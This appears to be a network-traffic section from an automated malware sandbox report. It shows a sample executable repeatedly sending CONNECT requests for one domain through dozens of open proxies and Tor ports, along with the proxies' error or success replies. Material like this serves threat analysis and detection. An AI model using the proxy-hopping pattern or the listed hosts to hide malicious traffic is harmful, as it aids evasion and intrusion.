Feb 23, 2024 09:45:31.178818941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178828001 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.4	53000	198.12.253.117	27055	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.067468882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.4	53209	20.210.113.32	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.076776028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.335860014 CET	319	IN	HTTP/1.1 403 Forbidden Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 17 X-Squid-Error: ERR_ACCESS_DENIED 0 X-Cache: MISS from cdn-fintech.info X-Cache-Lookup: NONE from cdn-fintech.info:8123 Connection: keep-alive Data Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.4	53247	132.148.245.247	10958	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.089379072 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.4	52999	144.24.77.90	55555	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.097297907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.4	53184	58.75.126.235	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.097304106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.4	53262	162.243.102.207	9764	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.098006964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.4	52178	103.139.188.41	7077	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.099611044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.455430984 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.4	53161	114.132.202.78	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.099613905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.886687994 CET	84	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:25 GMT Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.4	53190	8.217.187.52	24002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.100370884 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.4	53103	199.229.254.129	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.128288984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.4	53028	69.163.43.124	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.138925076 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178787947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.415210962 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.4	52422	161.97.163.52	4085	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.147980928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178765059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178817034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178843021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.4	53216	171.248.213.121	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.148372889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.4	52172	183.78.143.137	29554	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.155051947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.219122887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334517956 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.334806919 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:43.058614969 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.4	53260	66.78.54.93	20000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.155051947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.314980030 CET	1286	IN	HTTP/1.1 407 Proxy Authentication Required Server: squid Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3584 X-Squid-Error: ERR_CACHE_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en Proxy-Authenticate: Basic realm="Private" X-Cache: MISS from localhost Connection: keep-alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 31 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 43 61 63 68 65 20 41 63 63 65 73 73 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2021 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Cache Access Denied</title><style type="text/css">... /* * Copyright (C) 1996-2019 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.4	52977	70.166.167.55	57745	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.185959101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.4	53309	93.190.24.119	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.199084044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.4	53242	119.39.68.79	2323	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.230967999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.4	52376	34.81.72.31	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.230989933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.333538055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.334857941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.334868908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.4	53268	141.94.174.6	35072	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.231496096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.4	53269	144.76.96.180	5566	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.236120939 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.410736084 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1167	192.168.2.4	53310	93.190.24.119	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.247122049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.4	53251	8.213.129.20	3080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.248991966 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:27.551229000 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.4	53241	60.205.132.71	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.249365091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.605516911 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>
Feb 23, 2024 09:45:25.805814981 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.4	53175	58.253.210.122	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.249454021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.4	53286	172.93.213.177	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.249723911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.225176096 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Fri, 23 Feb 2024 08:45:28 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.4	53272	77.242.235.35	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.260575056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.4	53325	93.190.24.119	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.266057014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.4	53331	93.190.24.119	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.269500971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.4	53273	185.217.143.23	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.270471096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.473562956 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:25 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.4	53302	134.122.26.11	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.279099941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680490017 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.178329945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
